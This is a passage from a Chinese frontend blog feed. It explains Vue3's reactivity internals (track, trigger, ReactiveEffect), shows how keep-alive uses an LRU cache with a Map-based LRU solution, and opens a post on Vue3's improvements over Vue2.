</span></span><span>...</span></div></div><div><div><div>5</div></div><div><span>    </span><span>const</span><span> </span><span>res</span><span> </span><span>=</span><span><span> </span><span>Reflect</span><span>.</span></span><span>get</span><span><span>(</span><span>target</span><span>, </span><span>key</span><span>, </span><span>receiver</span><span>);</span></span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>    </span><span>// 问题：为什么是 readonly 的时候不做依赖收集呢</span></div></div><div><div><div>8</div></div><div><span>    </span><span>// readonly 的话，是不可以被 set 的， 那不可以被 set 就意味着不会触发 trigger</span></div></div><div><div><div>9</div></div><div><span>    </span><span>// 所有就没有收集依赖的必要了</span></div></div><div><div><div>10</div></div><div><span>    </span><span>if</span><span> (</span><span>!</span><span><span>isReadonly</span><span>) {</span></span></div></div><div><div><div>11</div></div><div><span>      </span><span>// 在触发 get 的时候进行依赖收集</span></div></div><div><div><div>12</div></div><div><span>      </span><span>track</span><span><span>(</span><span>target</span><span>, </span></span><span>"get"</span><span><span>, </span><span>key</span><span>);</span></span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>...</span></div></div><div><div><div>15</div></div><div><span>    </span><span>return</span><span><span> </span><span>res</span><span>;</span></span></div></div><div><div><div>16</div></div><div><span><span>  </span></span><span>};</span></div></div><div><div><div>17</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>可以看到在 get 方法中，只要是非 readonly 的，就会触发<code>track(target, "get", key);</code>来收集依赖 ，而<code>track</code>是通过 import 从 <code>effect.ts</code>中引入的。</p><p>接着来分析<code>effect.ts</code>中的 track 方法</p><ul>
<li>这里的 targetMap 是声明在外部的<code>const targetMap = new WeakMap();</code>也就是说是全局公用的，用于存放所有依赖关系。{对象 : depsMap( {对象属性 : dep( { 依赖函数 1，依赖函数 2 等 } ) )} , 数据 2:…}。</li>
</ul><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>export</span><span> </span><span>function</span><span> </span><span>track</span><span><span>(</span><span>target</span><span>, </span><span>type</span><span>, </span><span>key</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>...</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>`触发 track -&gt; target: </span><span>${</span><span>target</span><span>}</span><span> type:</span><span>${</span><span>type</span><span>}</span><span> key:</span><span>${</span><span>key</span><span>}</span><span>`</span><span>);</span></div></div><div><div><div>4</div></div><div><span>  </span><span>// 1. 先基于 target 找到对应的 dep</span></div></div><div><div><div>5</div></div><div><span>  </span><span>// 如果是第一次的话，那么就需要初始化</span></div></div><div><div><div>6</div></div><div><span>  </span><span>let</span><span><span> </span><span>depsMap</span><span> </span></span><span>=</span><span><span> </span><span>targetMap</span><span>.</span></span><span>get</span><span><span>(</span><span>target</span><span>);</span></span></div></div><div><div><div>7</div></div><div><span>  </span><span>if</span><span> (</span><span>!</span><span><span>depsMap</span><span>) {</span></span></div></div><div><div><div>8</div></div><div><span>    </span><span>// 初始化 depsMap 的逻辑</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>depsMap</span><span> </span><span>=</span><span> </span><span>new</span><span> </span><span>Map</span><span>();</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>targetMap</span><span>.</span><span>set</span><span><span>(</span><span>target</span><span>, </span><span>depsMap</span><span>);</span></span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>12</div></div><div><span>  </span><span>// 作为容器收集依赖</span></div></div><div><div><div>13</div></div><div><span>  </span><span>let</span><span><span> </span><span>dep</span><span> </span></span><span>=</span><span><span> </span><span>depsMap</span><span>.</span></span><span>get</span><span><span>(</span><span>key</span><span>);</span></span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>  </span><span>if</span><span> (</span><span>!</span><span><span>dep</span><span>) {</span></span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>dep</span><span> </span><span>=</span><span> </span><span>createDep</span><span>();</span></div></div><div><div><div>17</div></div><div><span><span>    </span></span><span>depsMap</span><span>.</span><span>set</span><span><span>(</span><span>key</span><span>, </span><span>dep</span><span>);</span></span></div></div><div><div><div>18</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>19</div></div><div>
</div></div><div><div><div>20</div></div><div><span>  </span><span>trackEffects</span><span><span>(</span><span>dep</span><span>);</span></span></div></div><div><div><div>21</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>export</span><span> </span><span>function</span><span> </span><span>trackEffects</span><span><span>(</span><span>dep</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>// 用 dep 来存放所有的 effect</span></div></div><div><div><div>3</div></div><div><span>  </span><span>// activeEffect就是每次调用run的那个new ReactiveEffect(fn)生成的实例对象_effect</span></div></div><div><div><div>4</div></div><div><span>  </span><span>if</span><span> (</span><span>!</span><span><span>dep</span><span>.</span></span><span>has</span><span><span>(</span><span>activeEffect</span><span>)) {</span></span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>dep</span><span>.</span><span>add</span><span><span>(</span><span>activeEffect</span><span>);</span></span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>(</span><span>activeEffect</span><span> </span><span>as</span><span> </span><span>any</span><span>).</span><span>deps</span><span>.</span><span>push</span><span><span>(</span><span>dep</span><span>);</span></span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>通过判断 activeEffect，将依赖收集到了 dep 中。依赖实际上就是 ReactiveEffect 实例</p><p>在 triggle 相关函数中将 dep 中所有收集的依赖遍历并执行了。</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>export</span><span> </span><span>function</span><span> </span><span>trigger</span><span><span>(</span><span>target</span><span>, </span><span>type</span><span>, </span><span>key</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>// 1. 先收集所有的 dep 放到 deps 里面，</span></div></div><div><div><div>3</div></div><div><span>  </span><span>// 后面会统一处理</span></div></div><div><div><div>4</div></div><div><span>  </span><span>let</span><span><span> </span><span>deps</span></span><span>:</span><span> </span><span>Array</span><span><span>&lt;</span><span>any</span><span>&gt; </span></span><span>=</span><span> [];</span></div></div><div><div><div>5</div></div><div><span>  </span><span>// dep</span></div></div><div><div><div>6</div></div><div><span>  </span><span>const</span><span> </span><span>depsMap</span><span> </span><span>=</span><span><span> </span><span>targetMap</span><span>.</span></span><span>get</span><span><span>(</span><span>target</span><span>);</span></span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>  </span><span>if</span><span> (</span><span>!</span><span><span>depsMap</span><span>) </span></span><span>return</span><span>;</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>  </span><span>// 暂时只实现了 GET 类型</span></div></div><div><div><div>11</div></div><div><span>  </span><span>// get 类型只需要取出来就可以</span></div></div><div><div><div>12</div></div><div><span>  </span><span>const</span><span> </span><span>dep</span><span> </span><span>=</span><span><span> </span><span>depsMap</span><span>.</span></span><span>get</span><span><span>(</span><span>key</span><span>);</span></span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>  </span><span>// 最后收集到 deps 内</span></div></div><div><div><div>15</div></div><div><span><span>  </span></span><span>deps</span><span>.</span><span>push</span><span><span>(</span><span>dep</span><span>);</span></span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div><span>  </span><span>const</span><span> </span><span>effects</span><span>:</span><span> </span><span>Array</span><span><span>&lt;</span><span>any</span><span>&gt; </span></span><span>=</span><span> [];</span></div></div><div><div><div>18</div></div><div><span><span>  </span></span><span>deps</span><span>.</span><span>forEach</span><span><span>((</span><span>dep</span><span>) </span></span><span>=&gt;</span><span> {</span></div></div><div><div><div>19</div></div><div><span>    </span><span>// 这里解构 dep 得到的是 dep 内部存储的 effect</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>effects</span><span>.</span><span>push</span><span>(</span><span>...</span><span><span>dep</span><span>);</span></span></div></div><div><div><div>21</div></div><div><span><span>  </span></span><span>});</span></div></div><div><div><div>22</div></div><div><span>  </span><span>// 这里的目的是只有一个 dep ，这个dep 里面包含所有的 effect</span></div></div><div><div><div>23</div></div><div><span>  </span><span>// 这里的目前应该是为了 triggerEffects 这个函数的复用</span></div></div><div><div><div>24</div></div><div><span>  </span><span>triggerEffects</span><span>(</span><span>createDep</span><span><span>(</span><span>effects</span><span>));</span></span></div></div><div><div><div>25</div></div><div><span>}</span></div></div><div><div><div>26</div></div><div><span>export</span><span> </span><span>function</span><span> </span><span>triggerEffects</span><span><span>(</span><span>dep</span><span>) {</span></span></div></div><div><div><div>27</div></div><div><span>  </span><span>// 执行收集到的所有的 effect 的 run 方法</span></div></div><div><div><div>28</div></div><div><span>  </span><span>for</span><span> (</span><span>const</span><span> </span><span>effect</span><span> </span><span>of</span><span><span> </span><span>dep</span><span>) {</span></span></div></div><div><div><div>29</div></div><div><span>    </span><span>if</span><span><span> (</span><span>effect</span><span>.</span></span><span>scheduler</span><span>) {</span></div></div><div><div><div>30</div></div><div><span>      </span><span>// scheduler 可以让用户自己选择调用的时机</span></div></div><div><div><div>31</div></div><div><span>      </span><span>// 这样就可以灵活的控制调用了</span></div></div><div><div><div>32</div></div><div><span><span>      </span></span><span>effect</span><span>.</span><span>scheduler</span><span>();</span></div></div><div><div><div>33</div></div><div><span><span>    </span></span><span>} </span><span>else</span><span> {</span></div></div><div><div><div>34</div></div><div><span><span>      </span></span><span>effect</span><span>.</span><span>run</span><span>();</span></div></div><div><div><div>35</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>36</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>37</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>此处 effect.run 实际上就是再次执行了单元测试里<code>effect(() =&gt; (dummy = counter.num));</code>中 effect 内部的函数。</p></section></section>
<section><h3>整体流程<a href="#整体流程"><span>#</span></a></h3><p>对于单元测试的代码打上断点进行调试</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>it</span><span>(</span><span>"should observe basic properties"</span><span>, () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>2</div></div><div><span>    </span><span>let</span><span><span> </span><span>dummy</span><span>;</span></span></div></div><div><div><div>3</div></div><div><span>    </span><span>const</span><span> </span><span>counter</span><span> </span><span>=</span><span> </span><span>reactive</span><span>({ </span><span>num</span><span>:</span><span> </span><span>0</span><span> });</span></div></div><div><div><div>4</div></div><div><span>    </span><span>effect</span><span>(() </span><span>=&gt;</span><span><span> (</span><span>dummy</span><span> </span></span><span>=</span><span><span> </span><span>counter</span><span>.</span></span><span>num</span><span>));</span></div></div><div><div><div>5</div></div><div><span>    </span><span>expect</span><span><span>(</span><span>dummy</span><span>).</span></span><span>toBe</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>counter</span><span>.</span><span>num</span><span> </span><span>=</span><span> </span><span>7</span><span>;</span></div></div><div><div><div>7</div></div><div><span>    </span><span>expect</span><span><span>(</span><span>dummy</span><span>).</span></span><span>toBe</span><span>(</span><span>7</span><span>);</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>});</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>effect(() =&gt; (dummy = counter.num));</code>可以理解为整个 reactivity 的 init 流程</p><p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_1.png" alt="" /></p><p>整体流程就是</p><ol>
<li>执行<code>effect.ts</code>下的<code>effect</code>函数，传入箭头函数<code>() =&gt; (dummy = counter.num)</code>
<ol>
<li>实例化对象<code>_effect = new ReactiveEffect(fn)</code> (ReactiveEffect 的实例上有方法<code>run()</code> )</li>
<li>执行<code>_effect</code>上的<code>run()</code>方法，在 run 方法内部会执行 effect 函数接收的那个箭头函数<code>() =&gt; (dummy = counter.num)</code>。</li>
</ol>
</li>
<li>在执行 dummy = <code>counter.num</code> 时，由于 counter 是一个 proxy 对象(被 reactive 包装过)，因此触发执行 proxy 拦截的 get 方法，也就是<code>baseHandlers.ts</code>里的<code>createGetter(isReadonly = false, shallow = false)</code>函数。
<ol>
<li>返回通过<code>Reflect.get(target, key, receiver)</code>拿到的数据。</li>
<li>由于该 proxy 实例时 handler 参数为<code>mutableHandlers</code>，因此未对<code>createGetter</code>的 isReadonly 设置为 true。对于不是只读的对象(也就是说可以被 set 的 proxy 对象)需要进行依赖收集。</li>
<li>执行依赖收集函数<code>track(target, "get", key)</code></li>
</ol>
</li>
<li>进入<code>effect.ts</code>中的<code>track(target, type, key)</code>函数。然后执行<code>trackEffects(dep);</code> 将所有的<code>activeEffect</code>收集到<code>dep</code>中。</li>
</ol><p><code>counter.num = 7;</code>对应的就是 reactivity 流程中的 update</p><p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_2.png" alt="" /></p><p>整体流程就是</p><ol>
<li>修改 proxy 对象的值，触发 proxy 拦截的 set 方法，也就是<code>baseHandlers.ts</code>里的<code>createSetter()</code>函数。
<ol>
<li><code>Reflect.set(target, key, value, receiver)</code>，通过 set 函数返回 Reflect.set 来修改对象内部属性值。</li>
<li>执行<code>trigger(target, "set", key);</code></li>
</ol>
</li>
<li>执行<code>effect.ts</code>中的<code>trigger</code>函数触发依赖、更新依赖。从全局属性<code>targetMap</code>中取出对应对象的<code>depsMap</code>，然后再根据被修改属性取出对应的<code>dep</code>。把<code>dep</code>中的一个或多个<code>ReactiveEffect</code>放入<code>effects</code>数组中。然后执行<code>triggerEffects(createDep(effects));</code> 将 effects 中所有 effect 进行执行， <code>effect.run()</code> 。 （因为 effect 实际上就是<code>ReactiveEffect</code>实例对象。）实际上就是执行了 effect 内部的 fn<code>() =&gt; (dummy = counter.num)</code>，在 run 方法执行的过程中会将当前<code>ReactiveEffect</code>实例放到全局数据<code>activeEffect</code>上，同时<code>counter.num</code>会再次触发 proxy 对象的<code>get</code>操作。</li>
<li>触发<code>get</code>操作之后又会再次触发<code>track</code>收集依赖，此时会更新 targetMap 中对应属性的 dep。<code>dep.add(activeEffect);</code> ，若是新增的依赖，会将之前 set 时存放在全局变量<code>activeEffect</code>上的<code>ReactiveEffect</code>实例新增到 dep 上。
<img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_3.png" alt="" /></li>
</ol></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/framework/vue/keepalive/</id>
      <title type="text">通过 LRU 理解 Vue3 中 keep-alive 部分源码</title>
      <published>2022-02-20T00:00:00.000Z</published>
      <updated>2022-02-20T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/framework/vue/keepalive/"/>
      <summary type="text">keep-alive 标签包裹的组件在切换时可以保留状态避免重新渲染。</summary>
      <content type="html"><![CDATA[<p>keep-alive 标签包裹的组件在切换时可以保留状态避免重新渲染。</p>
<p>但是缓存不能是无限的，否则会挤爆内存，有三种形式去进行缓存的淘汰。</p>
<p>1、 <strong>FIFO 队列</strong>。这个更适合做任务，不适合做组件的。</p>
<p>2、<strong>LFU</strong>。统计每个任务出现的次数，来淘汰出现次数较少的。缺点是比较耗费计算资源。</p>
<p>3、<strong>LRU 缓存</strong>。全称 Least Recently Used。也就是最近最少使用。</p>
<p>把所有元素按最近使用情况排序，比如已经到达固定存储量，添加新元素时需要判断当前缓存中是否存在相同元素，若有相同元素则将相同元素放到最后(更新)，若无相同元素则添加该元素并删除第一个元素(也就是最早添加的)。</p>
<p>例子：
最大长度为 4 的缓存</p>

<table><thead><tr><th>当前缓存</th><th>添加元素</th><th>更新后缓存</th></tr></thead><tbody><tr><td>1，2，3，4</td><td>2</td><td>1，3，4，2</td></tr><tr><td>1，2，3</td><td>4</td><td>1，2，3，4</td></tr></tbody></table>
<p>组件缓存用的最多的就是 LRU 缓存。(LRU Cache)</p>
<section><h3>源码文件对应代码段<a href="#源码文件对应代码段"><span>#</span></a></h3><p>在 Vue 的源码文件中的 packages/runtime-core/src/components/KeepAlive.ts 中就有用到，采用的是 set 的实现方式。</p><p><strong>setup 函数</strong></p><section><h4>声明 cache(Map)和 keys(Set)<a href="#声明-cachemap和-keysset"><span>#</span></a></h4><p></p><figure><img src="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/A8945B95-AB59-4A24-8632-484A898E1271/D00FB1D2-1FFC-414F-9DA4-3351AA5BCE4F_2/tmEEVE8uVXBEU86reQJ3xyOB8WSBSONykX0yLVV9RV8z/Image.png" alt="Image.png" /><figcaption>Image.png</figcaption></figure><p></p></section><section><h4>pruneCacheEntry（超出大小时，用于淘汰缓存）<a href="#prunecacheentry超出大小时用于淘汰缓存"><span>#</span></a></h4><p>若新增时超出缓存最大长度，需要用 pruneCacheEntry 删除 keys 中最早添加的 key 对应到 cache 中的数据。</p><p></p><figure><img src="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/A8945B95-AB59-4A24-8632-484A898E1271/8952BD1B-7681-41BB-B01A-EBDE1B425B3B_2/r8hfPtfdSAuB4FnDUVYziuRNdkgEKdpByRvildoyc5Iz/Image.png" alt="Image.png" /><figcaption>Image.png</figcaption></figure><p></p></section><section><h4>在组件挂载或者更新时,向 cache 中新增数据<a href="#在组件挂载或者更新时向-cache-中新增数据"><span>#</span></a></h4><p>渲染函数(return ()=&gt; {…})中为 pendingCacheKey 赋值</p><p></p><figure><img src="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/A8945B95-AB59-4A24-8632-484A898E1271/E01A8962-4471-44F6-BEA5-96DB60852AD4_2/1xuNxW2VjCW5S1BeWxXHHKkJkRxHm4lqpMaxdwiVgIIz/Image.png" alt="Image.png" /><figcaption>Image.png</figcaption></figure><p></p><p><strong>执行 render 的时候，pendingCacheKey 会被赋值为 vnode.key</strong></p><p>在组件挂载或者更新(onMouted, onUpdated)时，向 cache 中新增 &lt;key, vnode&gt;</p><p></p><figure><img src="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/A8945B95-AB59-4A24-8632-484A898E1271/31812574-83B0-43B1-81E5-503D4BFD352F_2/xkiuASa1XGKrYQQUcxHyW1fhyDVnmbb2nOEv2fxdSx8z/Image.png" alt="Image.png" /><figcaption>Image.png</figcaption></figure><p></p><p><strong>setup 函数中 return 的渲染函数</strong></p></section><section><h4>获取子节点 vnode 和 key<a href="#获取子节点-vnode-和-key"><span>#</span></a></h4><p>获取到当前 keep-alive 包裹的子节点</p><p></p><figure><img src="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/A8945B95-AB59-4A24-8632-484A898E1271/8B36CF6B-353B-4834-B519-54C66C18F9BE_2/q2HV45rSXZlHuC7w5haisWeRcktqE1vcSVmVKyjt2H0z/Image.png" alt="Image.png" /><figcaption>Image.png</figcaption></figure><p></p><p></p><figure><img src="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/A8945B95-AB59-4A24-8632-484A898E1271/DAB62B95-2BC1-4B75-84A9-78D6E8C1C939_2/onRXEk4hYlM8TTbgcZ10jNtbUG8tcZ0wrCJ79Zjy7UEz/Image.png" alt="Image.png" /><figcaption>Image.png</figcaption></figure><p></p><p>获取到当前节点的 key 值</p><p></p><figure><img src="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/A8945B95-AB59-4A24-8632-484A898E1271/8F9E8F19-DEE6-49BD-9398-15792F74634B_2/60yDkfw8zhRdzwEt43TrgxpNF24ZguZl4IyEumWiDxAz/Image.png" alt="Image.png" /><figcaption>Image.png</figcaption></figure><p></p></section><section><h4>通过 cachedNode 判断<a href="#通过-cachednode-判断"><span>#</span></a></h4><p>通过 cachedNode(cache 中是否已经有这个 key 对应的 vnode)来判断是否当前被组件是否已被缓存过。</p><ol>
<li>若以被缓存过，则更新被缓存的节点到 keys 的末尾(更新)</li>
<li>若未被缓存过
<ol>
<li>向 keys 中添加当前 node 的 key</li>
<li>判断是否超出缓存最大值，若超出缓存最大值则调用 pruneCacheEntry 传入最早 add 进 keys 的 key 作为参数，在 pruneCacheEntry 中 cache 根据入参的 key 来删除 keys 和 cache 对应数据。</li>
</ol>
</li>
</ol><p></p><figure><img src="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/A8945B95-AB59-4A24-8632-484A898E1271/77E70A56-D751-492C-8F81-8EE913B56513_2/JaL6zIhq2YoxNxVTdCzQdW2SCG2ebiQH9JZxoTnkicIz/Image.png" alt="Image.png" /><figcaption>Image.png</figcaption></figure><p></p><p></p><figure><img src="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/A8945B95-AB59-4A24-8632-484A898E1271/5CBDC4BC-5E03-4B70-8A33-6AAB2D7420EC_2/IqKFI0BP3xJ17FQZaZ27UhhIyhOKxkFNBDxlxWauziQz/Image.png" alt="Image.png" /><figcaption>Image.png</figcaption></figure><p></p><p>总结：</p><p><strong>可以看出是通过 cache(map)和 keys(set)配合实现了缓存功能。本质上可以说实际上是对 keys 实现了 LRU 算法，只是通过 keys 中的 key 确保 cache 中缓存数据没问题。</strong></p><p>在 setup 函数返回的渲染函数中。</p><ol>
<li>获取当前 keep-alive 的子节点以及 key。</li>
<li>当缓存中存在与当前组件相同的 key 时，keys 将该数据更新到末尾(将相同 key 的数据先删除后添加，达到更新的效果)。</li>
<li>若无相同 key 的节点已缓存，则直接向 keys 中 add 当前的 key。同时需要判断是否超过缓存最大长度，若超过长度则通过 pruneCacheEntry 函数淘汰(删除)最早 add 进 keys 的 key 和该 key 在 cache 中对应的数据。</li>
</ol><p>当组件挂载或更新(onMounted 和 onUpdated)时触发 cacheSubtree，给 cache 添加当前 key 和 vnode。</p></section></section>
<section><h3>Map 实现<a href="#map-实现"><span>#</span></a></h3><ol>
<li>通过 has 判断是否存在相同的数据(也就是判断当前节点和缓存过的节点是否相同)。</li>
<li>通过 map.keys().next().value 可以获取到第一位元素(这是由于 map.keys()返回的是一个迭代器，可以通过 next 拿到第一个值)可以获取到 map 中最先放入的 key。也就意味着可以通过 delete 这个 key 来淘汰最早 set 进去的 key。</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>let</span><span><span> </span><span>cache</span><span> </span></span><span>=</span><span> </span><span>new</span><span> </span><span>Map</span><span>();</span></div></div><div><div><div>2</div></div><div><span><span>cache</span><span>.</span></span><span>set</span><span>(</span><span>"a"</span><span>, </span><span>1</span><span>);</span></div></div><div><div><div>3</div></div><div><span><span>cache</span><span>.</span></span><span>set</span><span>(</span><span>"b"</span><span>, </span><span>2</span><span>);</span></div></div><div><div><div>4</div></div><div><span><span>cache</span><span>.</span></span><span>set</span><span>(</span><span>"c"</span><span>, </span><span>3</span><span>);</span></div></div><div><div><div>5</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>cache</span><span>.</span></span><span>keys</span><span>().</span><span>next</span><span>().</span><span>value</span><span>); </span><span>// a 也就是最先放入的key</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ol>
<li>set 新的 key 是有序的，可以删除掉相同的 key 然后再次 set 达到将相同值更新到 map 末尾的效果。</li>
</ol><p>满足实现 LRU 算法的条件。以下是 leetcode 算法题通过 Map 的实现。</p></section>
<section><h3>LRU 算法题<a href="#lru-算法题"><span>#</span></a></h3><p><a href="https://leetcode-cn.com/problems/lru-cache/" target="_blank">力扣</a></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span> </span><span>LRUCache</span><span> </span><span>=</span><span> </span><span>function</span><span><span> (</span><span>capacity</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>this</span><span>.</span><span>cache</span><span> </span><span>=</span><span> </span><span>new</span><span> </span><span>Map</span><span>();</span></div></div><div><div><div>3</div></div><div><span>  </span><span>// max赋值为缓存最大大小</span></div></div><div><div><div>4</div></div><div><span>  </span><span>this</span><span>.</span><span>max</span><span> </span><span>=</span><span><span> </span><span>capacity</span><span>;</span></span></div></div><div><div><div>5</div></div><div><span>};</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>LRUCache</span><span>.</span><span>prototype</span><span>.</span><span>get</span><span> </span><span>=</span><span> </span><span>function</span><span><span> (</span><span>key</span><span>) {</span></span></div></div><div><div><div>8</div></div><div><span>  </span><span>if</span><span> (</span><span>this</span><span>.</span><span>cache</span><span>.</span><span>has</span><span><span>(</span><span>key</span><span>)) {</span></span></div></div><div><div><div>9</div></div><div><span>    </span><span>// 用临时变量存储键值</span></div></div><div><div><div>10</div></div><div><span>    </span><span>let</span><span><span> </span><span>tmp</span><span> </span></span><span>=</span><span> </span><span>this</span><span>.</span><span>cache</span><span>.</span><span>get</span><span><span>(</span><span>key</span><span>);</span></span></div></div><div><div><div>11</div></div><div><span>    </span><span>// 删除原来的键和值，再次添加，达到更新到末尾的效果</span></div></div><div><div><div>12</div></div><div><span>    </span><span>this</span><span>.</span><span>cache</span><span>.</span><span>delete</span><span><span>(</span><span>key</span><span>);</span></span></div></div><div><div><div>13</div></div><div><span>    </span><span>this</span><span>.</span><span>cache</span><span>.</span><span>set</span><span><span>(</span><span>key</span><span>, </span><span>tmp</span><span>);</span></span></div></div><div><div><div>14</div></div><div><span>    </span><span>return</span><span><span> </span><span>tmp</span><span>;</span></span></div></div><div><div><div>15</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>16</div></div><div><span>  </span><span>return</span><span> </span><span>-</span><span>1</span><span>;</span></div></div><div><div><div>17</div></div><div><span>};</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span>LRUCache</span><span>.</span><span>prototype</span><span>.</span><span>put</span><span> </span><span>=</span><span> </span><span>function</span><span><span> (</span><span>key</span><span>, </span><span>value</span><span>) {</span></span></div></div><div><div><div>20</div></div><div><span>  </span><span>if</span><span> (</span><span>this</span><span>.</span><span>cache</span><span>.</span><span>has</span><span><span>(</span><span>key</span><span>)) {</span></span></div></div><div><div><div>21</div></div><div><span>    </span><span>this</span><span>.</span><span>cache</span><span>.</span><span>delete</span><span><span>(</span><span>key</span><span>);</span></span></div></div><div><div><div>22</div></div><div><span>    </span><span>// 当当前cache大小超出最大时需要有缓存淘汰机制</span></div></div><div><div><div>23</div></div><div><span><span>  </span></span><span>} </span><span>else</span><span> </span><span>if</span><span> (</span><span>this</span><span>.</span><span>cache</span><span>.</span><span>size</span><span> </span><span>&gt;=</span><span> </span><span>this</span><span>.</span><span>max</span><span>) {</span></div></div><div><div><div>24</div></div><div><span>    </span><span>// 删除map头部元素，也就是最开始set的key</span></div></div><div><div><div>25</div></div><div><span>    </span><span>this</span><span>.</span><span>cache</span><span>.</span><span>delete</span><span>(</span><span>this</span><span>.</span><span>cache</span><span>.</span><span>keys</span><span>().</span><span>next</span><span>().</span><span>value</span><span>);</span></div></div><div><div><div>26</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>27</div></div><div><span>  </span><span>this</span><span>.</span><span>cache</span><span>.</span><span>set</span><span><span>(</span><span>key</span><span>, </span><span>value</span><span>);</span></span></div></div><div><div><div>28</div></div><div><span>  </span><span>return</span><span>;</span></div></div><div><div><div>29</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/framework/vue/vue3vue2/</id>
      <title type="text">Vue3 特性以及相较于 Vue2 的优化点</title>
      <published>2021-12-29T00:00:00.000Z</published>
      <updated>2021-12-29T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/framework/vue/vue3vue2/"/>
      <summary type="text">Vue3 的新特性，以及在 TypeScript、响应式系统、虚拟 DOM 等方面相较 Vue2 的改进。</summary>
      <content type="html"><![CDATA[<section><h2>Vue3 特性<a href="#vue3-特性"><span>#</span></a></h2><ul>
<li><strong>RFC 机制</strong>可以让所有人参与 Vue 新语法的讨论</li>
<li><strong>Vite 让开发调试变得更加丝滑</strong></li>
<li>Vue3<strong>性能更好(渲染/打包)，体积更小，内存占用减少</strong></li>
<li><strong>组合式 API</strong>可以更好的组织代码(避免 Vue2 上蹿下跳式开发)，<strong>响应式基于 Proxy</strong>，且可以独立使用。</li>
<li>Vue3 新增 <strong>Fragment、Teleport 和 Suspense 组件</strong></li>
<li>Vue3<strong>重写了虚拟 DOM 的实现，让 diff 更快。重写了 Tree-shaking，减少打包体积。</strong></li>
<li>对于 Vue3，由于模块分离，<strong>便于二次开发</strong>，可以通过<strong>自定义渲染器</strong>来开发各种跨端应用</li>
<li>Vue3 拥抱<strong>TypeScript</strong>，更好的可维护性</li>
</ul></section>
